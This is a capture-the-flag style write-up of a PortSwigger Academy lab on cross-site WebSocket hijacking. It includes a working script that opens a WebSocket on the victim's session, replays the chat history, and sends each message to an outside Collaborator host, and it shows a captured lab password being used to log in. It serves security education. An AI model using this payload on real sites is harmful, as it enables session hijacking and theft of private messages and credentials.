Skip to content
Field Detail
Platform PortSwigger Web Security Academy
Type WebSockets — Cross-Site WebSocket Hijacking
Difficulty Practitioner
Objective Use the exploit server to perform cross-site WebSocket hijacking, exfiltrate the victim's chat history, then use it to access their account
Note Must use the provided exploit server and/or Burp Collaborator's default public server — the Academy firewall blocks interactions with arbitrary external systems

Cross-Site WebSocket Hijacking

I started by simulating a conversation in the live chat to understand the normal flow.

Screenshot

Checking the WebSockets history in Burp:

Screenshot

I cleared the history and refreshed the page to watch what happens from a clean state.

Screenshot

On page load, a READY message gets sent to the server first, and the full chat log follows over the WebSocket connection right after. That means READY is what triggers the server to replay the entire chat history to whoever's connected — with no apparent check on who's allowed to request it.

WebSocket handshakes are regular HTTP requests under the hood, and browsers send cookies along with them just like any other request. Without an origin check or anti-CSRF protection on the handshake, any page can open a WebSocket connection riding the victim's existing session cookies. Browser same-origin policy doesn't restrict WebSocket connections the way it restricts most cross-origin HTTP fetches — that's specifically why this attack class exists and needs its own defenses. If a page on our exploit server opens a connection to the lab's /chat endpoint, sends READY, and listens for responses, it gets the victim's full chat history delivered straight to us.

The payload:

<script>
  var ws = new WebSocket('wss://0a130091048a515c81ec1623007f00f1.web-security-academy.net/chat');
  ws.onopen = function() {
    ws.send('READY');
  };
  ws.onmessage = function(info) {
    fetch('https://hm7ztmm4cgid9io4xhrbtd2tyk4bs1gq.oastify.com/?teto=' + btoa(info.data));
  };
</script>

This opens a WebSocket connection to the lab's chat endpoint, sends READY once the connection opens — mimicking exactly what the legitimate page does on load — then for every message the server pushes back, base64-encodes it and exfiltrates it via fetch to our Burp Collaborator domain. The fact that READY triggers a full history replay with no further authentication check on the WebSocket side means anyone who can open the connection gets everything, not just future messages.

I stored this as the body on the exploit server and delivered it to the victim.

Screenshot

Checking the Collaborator logs:

Screenshot

The victim's chat history came through in the captured requests.

Screenshot

The history included a password. Logging in as carlos:vjxuhk4m973o6ashcnmq:

Screenshot

Lab solved ??..??

Resources